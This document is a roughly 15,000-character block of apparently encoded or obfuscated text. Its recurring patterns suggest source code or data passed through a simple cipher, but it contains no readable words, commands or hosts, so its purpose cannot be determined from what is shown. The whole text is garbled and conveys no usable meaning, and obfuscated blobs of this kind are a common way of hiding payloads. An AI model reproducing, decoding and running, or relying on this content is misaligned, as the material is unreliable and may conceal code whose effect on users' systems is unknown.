H9AVGFA]@GAZ]T@ZGVlFA_DDlT[Z ED9N9AVGFA]E]AP@TR^\BG_R
@lGEYP
@GAZ]TDCl_\TZ]lFA_	9N99UF]PGZ\]WB^C^J\YDZ]P
K JAYIYK@
XU9H9XC]_DRBVDF9ZU_R
@lGEYPDDlT[Z ED

H9XC]_DRBVDF@GAZ]T_TUZF[\^VlFA_P\]@GR]GDDlT[Z ED99N9ZUXC]_DRBVDFE]AP@TR^\BG _R
@lGEYPH9XC]_DRBVDF@GAZ]TE]AP@TR^\BGTVGl@ZGVlFA_P\]@GR]GDDlT[Z ED9999N9ZUXC]_DRBVDF_TUZF _R
@lGEYPH9XC]_DRBVDF@GAZ]TDDlT[Z EDTVGlQ_\TZ]U\_R
@lGEYPP\]@GR]G_R
@lGEYP9N9ZUXC]_DRBVDFDDlT[Z ED_TUZFH9XC]_DRBVDF@GAZ]T_TUZF@GAZ]TTVGl\CGZ\]_R
@lGEYP
P\]@GR]G_TUZF9N9ZUXC]_DRBVDFZ@@VGl`vaevahE]AP@TR^\BGnH9XC]_DRBVDF@GAZ]Tl`vaevahE]AP@TR^\BGn9N9ZUXC]_DRBVDFZ@@VGl`vaevahE]AP@TR^\BGnH9999XC]_DRBVDF@GAZ]Tl`vaevah_R
@lGEYP n9N9ZUXC]_DRBVDFH9AVGFA]K JAYIYK@
XU9N9AVGFA]XC]_DRBVDF99N9UF]PGZ\]FUZFJR U^DY@Y9H9ZAAVWFPZQ_VXVJ@G\AV99GAJH9RU_\^R@WBDDlT[Z ED_TUZF
Z]GsE]AP@TR^\BG
_TUZF	9ZU_R
@lGEYPDDlT[Z EDsDDlT[Z ED 9]^KCGRC]DKCUBJ RU_\^R@WBRU_\^R@WBmRU_\^R@WB	RU_\^R@WBRU_\^R@WBK
KQ  	  9ZUQXEP]FBlZC]@WEH9AVGFA]9N9ZUAUBEA@R_
YUDDlT[Z EDH9AVGFA]9N999A[UY
ZBU DDlT[Z EDGAFV9@PFBJKDA@IlFB[^V^^^UVJF@KRX_9ZU9DDlT[Z ED
@PFBJKDA@IlFB[^99OOZ@@VG@PFBJKDA@IlFB[^h_R
@lGEYP nOODDlT[Z ED
@PFBJKDA@IlFB[^h_TUZF nOO@PFBJKDA@IlFB[^hE]AP@TR^\BGn99OOZ@@VG@PFBJKDA@IlFB[^hE]AP@TR^\BG nOODDlT[Z ED
@PFBJKDA@IlFB[^h_TUZF nOOV^CGJ@PFBJKDA@IlFB[^hDDlT[Z ED n9H9JI\ C_WGKGU WDT[999AVGFA]9N9]A@V
lZV@PFBJKDA@IlFB[^hDDlT[Z EDn99E^El\XGJ
_@PFBJKDA@IlFB[^hDDlT[Z ED
n9X[RZVlID
UT\BTZXYDVDDlT[Z ED  ]A@V
lZV_TUZF
99\[EAlR\lKlPPE]AP@TR^\BG _TUZF@GAZ]TTVGl\CGZ\]DDlT[Z ED 	9ZU\[EAlR\lKlPP_TUZF\[EAlR\lKlPPE^El\XGJ
_GAFVH9E^El\XGJ
__TUZF  _TUZF E^El\XGJ
_RAARJ\[EAlR\lKlPP9_R
@lGEYP E^El\XGJ
_9DDlT[Z ED E^El\XGJ
_\[EAlR\lKlPP9NV_@VZU_R
@lGEYP E^El\XGJ
_H9E]AP@TR^\BG E^El\XGJ
_9N99999ZU_R
@lGEYPGAFVA[UY
ZBU Z]G]^KCGRC]DKCUBJ H9REVARTVPR@VQAZWTV99JI\ C_WGKGU WDT[9999AVGFA]99N99YDG
JF_\RPUPXKV]QYDE] 
I[@999IE\EPBXTGIBYDG
JF_\RPl_I_ZVDGQZ_c{clz}gl~rkc{clz}gl~rk]_BEY[^l_I_ZVDGQZ_99^DX]lXJEPQ@RAARJ99ZUE]AP@TR^\BG DDlT[Z ED  H9U\AVRP[RAARJTVGl\CGZ\]E]AP@TR^\BGRAARJR@^XUQlGD[XBGH9ZU_TUZF
^XUQlGD[XBG^XUQlGD[XBGH9999^DX]lXJEPQ@hn^XUQlGD[XBG9N9N9N99JJ@
KC
ZGA]_KURRAARJUDAJU  
_^Jl_WBV_UDAJU 9ZUWVUZ]VWDDlT[Z ED H999X[XGRDJ[\VDEK^_TUZF _R
@lGEYP sE]AP@TR^\BG _R
@lGEYP dc~flcftz}lwza_R
@lGEYP 	UR_@V9ZU_R
@lGEYP
X[XGRDJ[\VDEK^H9U\AVRP[X[XGRDJ[\VDEK^R@K_@IF@\]EA
WH99JJ@
KC
ZGA]_KURhnE]AP@TR^\BG K_@IF@\]EA
W9N9N9N99YTQ@P
QE^[ X[RAARJ99_TUZF 
WB^C^J\YDZ]P
9E]AP@TR^\BGB
C\ZlAP^PVX_\G_^Z9999_TUZF_TUZF YDA[\
D@PQVUAVDDlT[Z ED9_TUZF DDlT[Z ED rq`crg{_TUZF9_R
@lGEYP^DX]lXJEPQ@9DDlT[Z EDJJ@
KC
ZGA]_KUR9_TUZFJD AIXFCCEY]
UQC9_R
@lGEYPAlRY^G[_^YDG
JF_\RP9DDlT[Z ED
llRK VB@KG^l]
QIYDG
JF_\RP9_R
@lGEYP\KZFKZlYB

l_ElFXA A^DY999BZEWAFIA\D_R
@lGEYP_TUZFDClY@\]lV]P\WVYTQ@P
QE^[ X[	DDlT[Z ED YTQ@P
QE^[ X[9EEXYQFJ \\lYDYRYP[V\TBZEWAFIA\D]A@V
lZV9[ID

XKKRAARJ_TUZF E]AP@TR^\BG9VG_]@  E_Z]F__9JI\ C_WGKGU WDT[9999U\AVRP[E^El\XGJ
_R@AJ C]XWZPT IH99ZU_R
@lGEYPGAFVA[UY
ZBU ]^KCGRC]DKCUBJ H9QAVRX9N9P\A]VAPR@V[R]W_VA99999AJ C]XWZPT I_R
@lGEYP@GAZ]TAJ C]XWZPT IKYUBZ
RDE
JEI\DAPU]XCKYUBZ
RDE
J9ZUAJ C]XWZPT IH9P\]GZ]FV9N999GAJH9KD]WV\@P]A@V
lZV9PXJDX@ TTWE[Y
IX_JUWKXJIAJ C]XWZPT IEEXYQFJ \\l[ID

XKKKKUF]PGZ\]^Z
@KBZF@VKD]WV\@PH9KYXQV
YBXYGE\YDYRYP[V\T^Z
@KBZKD]WV\@P9ZUKYXQV
YBXYGE\AVGFA]UR_@V9AVGFA]_R
@lGEYP
s_R
@lGEYP_R
@lGEYPKYXQV
YBXYGE\GAFV9N9ZUPXJDX@ TTWH9UVR@ZQ_VP\\AWZ]RG\A99XJRP]KB[T_TUZF_TUZFAJ C]XWZPT I9P\]GZ]FV9N99WJUDEWW_QPYYDYRYP[V\TPXJDX@ TTW]A@V
lZV9ZUWJUDEWW_QPYH9@CZ__@_\G99XJRP]KB[T_R
@lGEYP
_R
@lGEYPAJ C]XWZPT I9P\]GZ]FV9N999VG_]@  E_Zs_TUZFE]AP@TR^\BGWJUDEWW_QPYGAFV9ZUDDlT[Z ED
VG_]@  E_ZH9ZUDDlT[Z EDDDlT[Z ED H9FCWRGVl\CGZ\]E]AP@TR^\BG AJ C]XWZPT I9N9QAVRX999NV_@VH9XJRP]KB[T_R
@lGEYP
_TUZFAJ C]XWZPT I99N9999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9P\]GZ]FV9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9P\]GZ]FVVDWZ@l GKKK J[X_YWWXUPVDWZ@l GK
9N9N9ZU_TUZF
VG_]@  E_ZH9IXI^\YDYRYP[V\TE]AP@TR^\BG RAARJ9DDlT[Z ED 
WB^C^J\YDZ]P
9_TUZFB
C\ZlAP^PVX_\G_^Z9DDlT[Z EDE]AP@TR^\BG YDA[\
D@PQVUAV_TUZF9DDlT[Z ED9]A@V
lZV9IVl\@G^WYZE]AP@TR^\BG @GAGA_TUZF IXI^\E]AP@TR^\BG_R
@lGEYP
9^BE^AAABAl_P_TUZFIVl\@G^WYZ
9U\AVRP[E^El\XGJ
_R@AJ C]XWZPT IH9ZUE]AP@TR^\BGGAFVA[UY
ZBU ]^KCGRC]DKCUBJ H9QAVRX9N9AJ C]XWZPT I_R
@lGEYP@GAZ]TAJ C]XWZPT I999ZUAJ C]XWZPT IH9P\]GZ]FV9N9UQGJQQZU]CBBQ
D\KCTWT^C^KB\WB^C^J\YDZ]P
E]AP@TR^\BGGAFV9999VVZRG^JUEQ[VG_TUZF ^BE^AAABAl_P9FBE]R\ZVIXZ_R
@lGEYPAJ C]XWZPT IUR_@V	9U\AB
\G_QJVYF@RlZB
\G_QJVYF@RlZVVZRG^JUEQ[VGB
\G_QJVYF@RlZH9ZU_R
@lGEYPGAFVA[UY
ZBU ]^KCGRC]DKCUBJ H9QAVRX9N99AQ ^DBBVlXVPQDB
\G_QJVYF@RlZVVZRG^JUEQ[VG9QFUGJ FFAJ C]XWZPT IFBE]R\ZVIXZE]AP@TR^\BGUQGJQQZU]CB_TUZF B
\G_QJVYF@RlZE]AP@TR^\BGVVZRG^JUEQ[VGDDlT[Z ED^BE^AAABAl_PhB
\G_QJVYF@RlZn9999GF\PPlIJE[Q\QR
XVD
JR@
YZZZQQFUGJ FFAQ ^DBBVlXVPQDUF]PGZ\]^Z
@KBZF@V]A@V
lZVH9KYXQV
YBXYGE\YDYRYP[V\T^Z
@KBZ]A@V
lZV9ZUKYXQV
YBXYGE\AVGFA]UR_@V9AVGFA]DDlT[Z ED
sE]AP@TR^\BG_R
@lGEYPKYXQV
YBXYGE\GAFV99N	]F__9ZUAQ ^DBBVlXVPQD_TUZFGF\PPlIJGF\PPlIJH9lTWYDYRYP[V\TGF\PPlIJ]A@V
lZV9^VDCACUB\DlTWsDDlT[Z EDDDlT[Z EDlTWGAFV	]F__KlGB\EW_
TZOWP]JY^QAWGKlGB\EW_
TZm9ZU_TUZF^VDCACUB\DH9VG_]@  E_Z^VDCACUB\D9ZU_R
@lGEYPE]AP@TR^\BG H9FCWRGVl\CGZ\]_TUZF AJ C]XWZPT I9N9999QAVRX99N9N9N999ZUDDlT[Z EDVG_]@  E_ZH9QAVRX9N9N9N999ZUE]AP@TR^\BG
VG_]@  E_ZH999AVGFA]9N9ZU\KZFKZlYE]AP@TR^\BG_R
@lGEYPH9WV_VGVl\CGZ\]U\CFGG
lTZIDCXIWDDDlT[Z ED9N9ZUZ@@VGt|qr`h_TUZFnOO_R
@lGEYP
t|qr`h_R
@lGEYPnt|qr`hDDlT[Z EDnRAARJ9t|qr`h_R
@lGEYPn_TUZF_TUZF t|qr`hE]AP@TR^\BG n\KZFKZlY9ZUZ@@VGVG_]@  E_ZhE]AP@TR^\BGn_R
@lGEYPVG_]@  E_Zh_TUZFnH9Z^^FGRQ_VQA\RWPR@GVA99\_QZ@PAJQPCITFVG_]@  E_ZhDDlT[Z EDnZ@@VGVG_]@  E_Zh_R
@lGEYPn_R
@lGEYPVG_]@  E_ZhE]AP@TR^\BGnVG_]@  E_Zh_R
@lGEYPn	V^CGJVG_]@  E_ZhDDlT[Z ED
nKZQ^KB[WW ORIKDIW[\PFGFKZQ^KB[WWm9N99P 
T
Y]KFUR_@V9l_ 
DFFXY \ RAARJ99ZUZ@@VGVG_]@  E_Zh_R
@lGEYP
n_TUZF
VG_]@  E_Zh_TUZF
nH9IJJ[_Z_[IRAARJ99U\AVRP[VG_]@  E_Zh_TUZF
nR@WA]V @Z VTDG
H9ZUE]AP@TR^\BGWA]V @Z VTDG
WA]V @Z VTDG
H9IJJ[_Z_[IhnWA]V @Z VTDG
9999N99N9_F_F@KQCIYt|qr`hE]AP@TR^\BG
n9999IJJ[_Z_[Il]ZZ@AZB[PXIITQXCIJJ[_Z_[I9t|qr`h_R
@lGEYP
nIJJ[_Z_[I9l_ 
DFFXY \ hDDlT[Z ED
nIJJ[_Z_[I9ZUV^CGJ_R
@lGEYP IJJ[_Z_[I_F_F@KQCIYOOV^CGJDDlT[Z ED _F_F@KQCIYIJJ[_Z_[IH9P 
T
Y]KFGAFV9N9N99ZUZ@@VGVG_]@  E_Zh_R
@lGEYPn_TUZF
 VG_]@  E_Zh_R
@lGEYP
nH999IJJ[_Z_[IRAARJ99U\AVRP[VG_]@  E_ZhDDlT[Z ED
nR@WA]V @Z VTDG
H999ZUDDlT[Z EDWA]V @Z VTDG
WA]V @Z VTDG
H9IJJ[_Z_[IhnWA]V @Z VTDG
9N999N9_F_F@KQCIYt|qr`h_R
@lGEYPn9IJJ[_Z_[Il]ZZ@AZB[PXIITQXCIJJ[_Z_[I9t|qr`hDDlT[Z EDnIJJ[_Z_[I9l_ 
DFFXY \ hE]AP@TR^\BG
nIJJ[_Z_[I9ZUV^CGJE]AP@TR^\BG IJJ[_Z_[I_F_F@KQCIYOOV^CGJ_R
@lGEYP
_F_F@KQCIYIJJ[_Z_[IH9999P 
T
Y]KFGAFV9N9N9ZUZ@@VGVG_]@  E_Zh_TUZFnE]AP@TR^\BGVG_]@  E_Zh_R
@lGEYPnH9YRlC
 DW@VU\C]lQRF IPGX^BGE]AP@TR^\BG
9t|qr`hE]AP@TR^\BG
nVG_]@  E_Zh_TUZFn9l_ 
DFFXY \ h_TUZF
nVG_]@  E_ZhE]AP@TR^\BG
n9ZUE]AP@TR^\BG 
 VG_]@  E_Zh_R
@lGEYP
n_TUZF

YRlC
 DW@VH99X[RZVlID
UT\BTZXYDV_R
@lGEYPVG_]@  E_ZhDDlT[Z ED
nDDlT[Z ED
9Y_P\[E@RT[BlQ\AKW@_9N9F]@VGYRlC
 DW@V9N9IU\[_F U@BI[F_[Z@@VGVG_]@  E_ZhE]AP@TR^\BG 
nE]AP@TR^\BGVG_]@  E_Zh_R
@lGEYP 
nVG_]@  E_ZhDDlT[Z ED 
n	RAARJYG\B
@[KKQKRTBAZQTRUKCYG\B
@[K9ZUZ@@VGIU\[_F U@BI[F_[hE]AP@TR^\BG nE]AP@TR^\BGIU\[_F U@BI[F_[h_TUZF nH9ZU_R
@lGEYP IU\[_F U@BI[F_[h_R
@lGEYP nH9t|qr`hE]AP@TR^\BGnIU\[_F U@BI[F_[hDDlT[Z ED n9l_ 
DFFXY \ hDDlT[Z EDnIU\[_F U@BI[F_[hE]AP@TR^\BGn9NV_@VH9t|qr`hDDlT[Z EDn9l_ 
DFFXY \ hDDlT[Z EDn9X[RZVlID
UT\BTZXYDV_TUZFDDlT[Z ED
9N9999N9ZUZ@@VGIU\[_F U@BI[F_[hE]AP@TR^\BG 
n_R
@lGEYPIU\[_F U@BI[F_[h_R
@lGEYPnH9ZUDDlT[Z ED
IU\[_F U@BI[F_[hDDlT[Z EDnHKUP_WGVWIXlFWCc{clz}gl~rkc{clz}gl~rkPYQWTDClGERKUP_WGVWIXlFWC9t|qr`h_TUZFnIU\[_F U@BI[F_[h_TUZFn9l_ 
DFFXY \ h_TUZFnIU\[_F U@BI[F_[h_TUZFn9999NV_@VH9t|qr`h_R
@lGEYPn999l_ 
DFFXY \ h_TUZFn9X[RZVlID
UT\BTZXYDV_R
@lGEYP 

DDlT[Z ED9N99N9999]VW]QKKDGFPI_Z@@VGVG_]@  E_ZhE]AP@TR^\BG nDDlT[Z EDVG_]@  E_ZhDDlT[Z EDnVG_]@  E_Zh_TUZFn	RAARJ9AJ@K_\AIBZRAARJ9DDlT[Z EDDDlT[Z ED9_TUZF_TUZF9_TUZF
E]AP@TR^\BG9E]AP@TR^\BG_TUZF99_TUZF DDlT[Z ED9_TUZF_TUZF9E]AP@TR^\BGE]AP@TR^\BG9DDlT[Z ED
_TUZF 99U\AVRP[AJ@K_\AIBZR@C]AZ@WEPRJTDUI]AIB]PH9ZUZ@@VG]VW]QKKDGFPI_hC]AZ@WEPRJTDn_R
@lGEYP]VW]QKKDGFPI_hC]AZ@WEPRJTDnE]AP@TR^\BG
]VW]QKKDGFPI_hC]AZ@WEPRJTDn  H9l_ 
DFFXY \ hUI]AIB]Pn]VW]QKKDGFPI_hC]AZ@WEPRJTDn99N99N9ZUZ@@VGVG_]@  E_ZhDDlT[Z EDnDDlT[Z ED VG_]@  E_Zh_R
@lGEYPnH9VUGETW[ET^C_EWZ]GVG_]@  E_ZhE]AP@TR^\BGn9ZUVUGETW[ET^C_EW
VUGETW[ET^C_EW l_ 
DFFXY \ hDDlT[Z EDnVUGETW[ET^C_EW9999N9ZUZ@@VGVG_]@  E_ZhE]AP@TR^\BG nE]AP@TR^\BG  VG_]@  E_Zh_TUZF nH9lPZZ]GVG_]@  E_ZhDDlT[Z ED n9CA\YVPGVBFZERAZR]GRWRCGVA99ZUlPZKUQK lPZ  l_ 
DFFXY \ h_R
@lGEYP nlPZ9999N99ZUV^CGJl_ 
DFFXY \ H9WV_VGVl\CGZ\]E]AP@TR^\BG9WV_VGVl\CGZ\]_R
@lGEYP 99FCWRGVl\CGZ\]DDlT[Z ED DDlT[Z ED9WV_VGVlGAR]@ZV]G_R
@lGEYP 9XGKGIP_DQBA_99QA^TF_UlIBA l_P 9AVGFA]9N99PXAQTVX@E^J

TJX]]XB[IT@_R
@lGEYP UR_@V9ZUDDlT[Z ED PXAQTVX@H9l_ 
DFFXY \ _TUZF PXAQTVX@l_ 
DFFXY \ 9N99999ZU_R
@lGEYP_TUZF
H9d\AWcAV@@]REZTRGZ\]	WVTV]VARGVPVAGZUZPRGVP[RZ]99C_]GWI^BKlUV_XlVJ@APYFl_9ZUZ@@VGl_ 
DFFXY \ h_R
@lGEYPnZ]Gl_ 
DFFXY \ hE]AP@TR^\BGn

Z]Gl_ 
DFFXY \ h_TUZFn

 C_]GWI^BZ]Gl_ 
DFFXY \ h_R
@lGEYPn9@VGlGAR]@ZV]GQAJXX
_CJl_ 
DFFXY \ C_]GWI^B9N999^E[QX[AQCIU[FIF_R
@lGEYP 
l_ 
DFFXY \ _TUZF9ZUZ@@VGl_ 
DFFXY \ h_TUZF n_R
@lGEYPDDlT[Z ED_R
@lGEYPDDlT[Z ED _TUZF_R
@lGEYP H9^YEFJYJJDClTVGl@P[VWF_VWlVEV]GJE_G]BUYZ@J\GJXW9ZU^YEFJYJJZ]G^YEFJYJJZ]GVAER_Z]Gl_ 
DFFXY \ h_R
@lGEYP nH9DClP_VRAl@P[VWF_VWl[\\XJE_G]BUYZ@J\GJXW9DCl@P[VWF_VlVEV]G_TUZF_TUZFm _R
@lGEYPJE_G]BUYZ@J\GJXW9N9999N9FCWRGVl\CGZ\]_R
@lGEYPE]AP@TR^\BG9WV_VGVl\CGZ\]_TUZF9WV_VGVl\CGZ\]E]AP@TR^\BG9WV_VGVlGAR]@ZV]G_TUZF 9XGKGIP_DQBA_9QA^TF_UlIBA l_P 99999ZUP 
T
Y]KFH99AK_A@ZUI
[PKJDBUX999N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9NUZ]R__JH9U [AKZ GZDPVDTR]]F
E]AP@TR^\BG9N9999N99UF]PGZ\]\_QZ@PAJQPCITFYFDY
A^@ICRQYC_KUUDBRBKD_ZPZFRZUR_@V9H9ZUAUBEA@R_
YUE]AP@TR^\BGAVGFA]99GAJH99CE@GlllWlF IsDDlT[Z ED YFDY
A^@IGAFV9999ZUE]AP@TR^\BGCE@GlllWlF IDDlT[Z ED
CE@GlllWlF ICE@GlllWlF IQYDlT@]@EWXY@ZT[YT\FYCE@GlllWlF I9ZUCE@GlllWlF IOOE]AP@TR^\BG
CE@GlllWlF IKVWKOO_TUZFCE@GlllWlF IE]AP@TR^\BGH9AVGFA]9N9ZUZRG
\KYQ\R AXGCE@GlllWlF IH9XJRP]KB[T_R
@lGEYP_TUZF
9AVGFA]9N9ZU_TUZF_R
@lGEYPE]AP@TR^\BGCE@GlllWlF IKRWKV J\IPRF]FEPH999ZUCRQYC_KUUDBRCRQYC_KUUDBRJ\IPRF]FEPhnH9dcuF__`ZGVvWZGZ]T	Z@\^VGAZPGF^Q_Z]TDZ]W\D99999XJRP]KB[TE]AP@TR^\BG_TUZF9AVGFA]9N9CRQYC_KUUDBRJ\IPRF]FEPhn9999NV_@VH9XJRP]KB[TDDlT[Z EDDDlT[Z ED9AVGFA]9999N9ZUBKD_ZPZFRZEVA@Z\]lP\^CRAVCRQYC_KUUDBRB
C\ZlAP^PVX_\G_^ZH9AVGFA]9N9BXR
]l[IYX]IU]_R^BXF_[ \U R9ZUBXR
]l[IYX]OO_TUZF
BXR
]l[IYX]
H9XJRP]KB[T_R
@lGEYP_R
@lGEYP 9AVGFA]]VIY@PZDI Z[c{cl~ry|aleva`z|}Z^Q[[Q[]VIY@PZDI Z[9999N9K _VDR]KF[C]@TVGl\CGZ\]DDlT[Z ED9ZUDDlT[Z EDK _VDR]KF[C]@_R
@lGEYPK _VDR]KF[C]@DDlT[Z EDCE@GlllWlF IOH99]VPUVFF@^WZ]G_R
@lGEYPK _VDR]KF[C]@_TUZFK _VDR]KF[C]@O9ZUDDlT[Z ED]VPUVFF@^W 
H9AVGFA]9N9N9@VZ]PQR^X
A^DDlT[Z ED
YDA[\
D@PQVUAV_TUZF_TUZFCE@GlllWlF I999ZUs_R
@lGEYP @VZ]PQR^X
A^H99CFADI_\BW[sZ]G_R
@lGEYP
@VZ]PQR^X
A^9ZUCFADI_\BW[_TUZFCFADI_\BW[KWWKW RH9AVGFA]9N9sDDlT[Z ED@VZ]PQR^X
A^9N9F]@VG@VZ]PQR^X
A^CFADI_\BW[9D@X XBYUR_@V9ZUE]AP@TR^\BGE]AP@TR^\BG _R
@lGEYPDDlT[Z EDH9999JBlBFTRC\ WA C_TUZF [\^VlFA_RAARJE]AP@TR^\BG mDDlT[Z ED
_TUZFUR_@V9ZU_R
@lGEYPE]AP@TR^\BG  Z@lDClVAA\AJBlBFTRC\ WA CH9D@X XBYZ]GDClAV^\GVlAVGAZVEVlAV@C\]@VlP\WVJBlBFTRC\ WA C
9N9s_\PXP[RZ]9999N9999DFA]DPJUUR_@V9ZUDDlT[Z ED_R
@lGEYP H9VTEGQ^D EJTVGl\CGZ\]_R
@lGEYPRAARJ9DFA]DPJUE]AP@TR^\BGVTEGQ^D EJDDlT[Z ED\B_Z[AFl\DlVTEGQ^D EJGAFV9N9[R]W_V]F__CRG[99QD^BPU^^^C \VYDA[\
D@PQVUAV
99ZU_Bl[
X^GYCY^P YDA[\
D@PQVUAVZ
GB\BC_ARCE@GlllWlF IH9P\AVPFA@ZEVP\\AWZ]RG\A99XJRP]KB[TDDlT[Z EDDDlT[Z ED9AVGFA]9N9PZZUJW[@
ClCFYDA[\
D@PQVUAV9B[B_Y[KCBlWRYDA[\
D@PQVUAV9ZUE]AP@TR^\BG_R
@lGEYPs@VGlGAR]@ZV]GDDlT[Z ED9999ZUD@X XBYDDlT[Z ED_R
@lGEYP
_R
@lGEYP_R
@lGEYPH999QF\\JE@9U\APJ @AAUKDIPJ @AAUKDIPJ @AAUKDIH999QFY]WRRJWU\DDlT[Z ED[\^VlFA__R
@lGEYPE]AP@TR^\BG 



  RAARJE]AP@TR^\BGKK_R
@lGEYP
_TUZFUR_@V999ZUDDlT[Z ED_R
@lGEYP  Z@lDClVAA\AQFY]WRRJWU\H9ZUPJ @AAUKDI_TUZFE]AP@TR^\BGDDlT[Z ED9P\]GZ]FV9N9]UWUX]BTIC_\Z]GDClAV^\GVlAVGAZVEVlAV@C\]@VlP\WVQFY]WRRJWU\9ZU]UWUX]BTIC_\ OO_TUZF]UWUX]BTIC_\RAARJ 


 K PKW GAFVH9999ZUPJ @AAUKDIDDlT[Z ED_R
@lGEYP_TUZF9P\]GZ]FV9N9QF\\JE@]UWUX]BTIC_\9QAVRX9N9999ZUQF\\JE@QF\\JE@
9ZUQF\\JE@ H9JVP^IWA\AJ_Bl[
X^GYCY^P YDA[\
D@PQVUAVZ
GB\BC_ARBXR
]l[IYX]9999ZUJVP^IWA\AJJVP^IWA\AJ_Bl[
X^GYCY^P YDA[\
D@PQVUAVBXR
]l[IYX]9FCWRGVl\CGZ\]_TUZFE]AP@TR^\BGCE@GlllWlF IO_R
@lGEYP_R
@lGEYP999ZUJVP^IWA\AJH999XJRP]KB[TDDlT[Z EDE]AP@TR^\BGQF\\JE@]GIXDDYWJIACl]GIX9AVGFA]9N9B[B_Y[KCBlWRYDA[\
D@PQVUAV99PZZUJW[@
ClCFYDA[\
D@PQVUAV999IU]_R^BXF_[ \U RGAFV9999\JVVD lKFAYl
GAFV9]K[XZ
A@AlU_TUZF YDA[\
D@PQVUAVDDlT[Z ED
9U\AVRP[RAARJE]AP@TR^\BG
YDA[\
D@PQVUAVVAIWl[U_Q@W
EZPCT
@R@CKYUZ]E]ZAK
Y^H9s_R
@lGEYPCKYUZ]E]ZAK
Y^_R
@lGEYP
]K[XZ
A@AlU99sE]AP@TR^\BGCKYUZ]E]ZAK
Y^E]AP@TR^\BG
]K[XZ
A@AlU999N9ZUDFA]DPJUUI]l^^Bl@JV_TUZF_TUZF H9BZIKY FTDK
DlVTVGl\CGZ\]DDlT[Z EDRAARJ9ZU_R
@lGEYPBZIKY FTDK
DlVE]AP@TR^\BG\B_Z[AFl\DlBZIKY FTDK
DlVGAFVH9BZIKY FTDK
DlVhn\B_Z[AFl\Dl9sFCWRGVl\CGZ\]E]AP@TR^\BGBZIKY FTDK
DlV9N999N9t|qr`h_R
@lGEYPn9QA^TF_UlIBA l_P 9XJRP]KB[TDDlT[Z ED _TUZFQF\\JE@9AVGFA]9N99N9999ZUCRQYC_KUUDBRH9t|qr`h_TUZFnCRQYC_KUUDBR9\KGWB[^IDQ[FB]@YDA[\
D@PQVUAVCRQYC_KUUDBR9N9ZUBKD_ZPZFRZH99TIQUB^WB^IZ_lDDlT[Z ED YDA[\
D@PQVUAV_TUZF
999U\AVRP[RAARJDDlT[Z ED
YDA[\
D@PQVUAVVAIWl[U_Q@W
EZPCT
@R@YA_TTKQ^PCZUTH9sE]AP@TR^\BGYA_TTKQ^PCZUT_TUZF
TIQUB^WB^IZ_l9N9F]@VGTIQUB^WB^IZ_lYA_TTKQ^PCZUT9999N9999X[RZVlID
UT\BTZXYDVE]AP@TR^\BGCE@GlllWlF IE]AP@TR^\BG9IU]_R^BXF_[ \U RGAFV9999\JVVD lKFAYl
GAFV999t|qr`h_R
@lGEYPn9QA^TF_UlIBA l_P 9QD^BPU^^^C \VYDA[\
D@PQVUAV9ZUB[B_Y[KCBlWRYDA[\
D@PQVUAVE[VEEQGFXUA\[^PYDA[\
D@PQVUAV9FCWRGVl\CGZ\]_TUZFCRQYC_KUUDBRO_R
@lGEYP_TUZF9999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TDDlT[Z ED TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9NUZ]R__JH9U [AKZ GZDPVDTR]]F
_TUZF9999N9N9UF]PGZ\]UZWQG
\DGD[VUZRlV9H9ZUWVUZ]VWE]AP@TR^\BGOOE]AP@TR^\BG_TUZFH9ZU_TUZFrq`crg{_R
@lGEYPH9AVBFZAVl\]PVrq`crg{DDlT[Z ED9999N9ZUE]AP@TR^\BGE]AP@TR^\BG
H9AVGFA]9N9N999[XU[EFFRTX[TVGlC_FTZ]@9ZUDDlT[Z ED[XU[EFFRTX[H9AVGFA]9N9_Z@GRAARJ9999U\AVRP[[XU[EFFRTX[R@QR@V]R^V@YB^_Ul[UUV_F^H9ZUQR@V]R^V\B_Z[AFl\DlH9P\]GZ]FV9N9_Z@GhQR@V]R^Vn@YB^_Ul[UUV_F^9N9AVGFA]_Z@G999N9UF]PGZ\]K_V^W
_IQ RV[BGWYVCPXGQUJ CCB9H999AIKXV]V PPsE]AP@TR^\BGBGWYVCPXGUR_@V]F__9ZUAIKXV]V PPH9AVGFA]UR_@V9N9999U\AVRP[QUJ CCBR@[RUKB^ZQKIPH99ZU_R
@lGEYP
[RUKB^ZQKIPOO[RUKB^ZQKIPOOE]AP@TR^\BG
[RUKB^ZQKIP
H9P\]GZ]FV9N99GAJH9999QVIU YZZsDDlT[Z ED[RUKB^ZQKIPAIKXV]V PP9NPRGP[g[A\DRQ_VY
^@\ZFV\H9XJRP]KB[TDDlT[Z ED
Y
^@\ZFV\9P\]GZ]FV9NPRGP[vKPVCGZ\]Y
^@\ZFV\H999P\]GZ]FV9N9UF_UZ__R]GZ^\]\G\]V[R]W@[RXV999999ZUQVIU YZZH9AVGFA]GAFV9N9N9AVGFA]UR_@V9N99UF]PGZ\]l_[GWZUACDTCXC_FTZ]lQR@V]R^V9H9QUJ CCBt|qr`h_TUZF
n9ZU_R
@lGEYPQUJ CCBOOV^CGJQUJ CCBH9AVGFA]UR_@V9N9ZUWVUZ]VW_TUZFOOV^CGJC_FTZ]lQR@V]R^VOO_R
@lGEYPC_FTZ]lQR@V]R^V_R
@lGEYP 
UR_@VH9AVGFA]UR_@V9N999]U[IXWQCAQQdclcftz}lwzaC_FTZ]lQR@V]R^V9ZU_R
@lGEYP
C_FTZ]lQR@V]R^VH9DD@U [DT@TPVlRAARJ]U[IXWQCAQQ9NV_@VH999^WX
]UZlGZUP]E]AP@TR^\BG
]U[IXWQCAQQ9ZUE]AP@TR^\BG ^WX
]UZlGZUP]OODDlT[Z ED
 ^WX
]UZlGZUP]H9AVGFA]UR_@V9N9DD@U [DT@TPVl_PGIJ_ @C l@G^WX
]UZlGZUP]RAARJ_TUZF
DDlT[Z EDE]AP@TR^\BG
_R
@lGEYP
DDlT[Z ED
9N99999U\AVRP[DD@U [DT@TPVlR@BGWYVCPXGH9ZU_R
@lGEYP BGWYVCPXGH9P\]GZ]FV99N9ZUK_V^W
_IQ RV[BGWYVCPXGQUJ CCBH9999AVGFA]GAFV9N9N9AVGFA]UR_@V9N9UF]PGZ\]_PGIJ_ @C l@G^WX
]UZlGZUP]A 
AB_KFRJIF\@ [lXTTYlJ]F__[
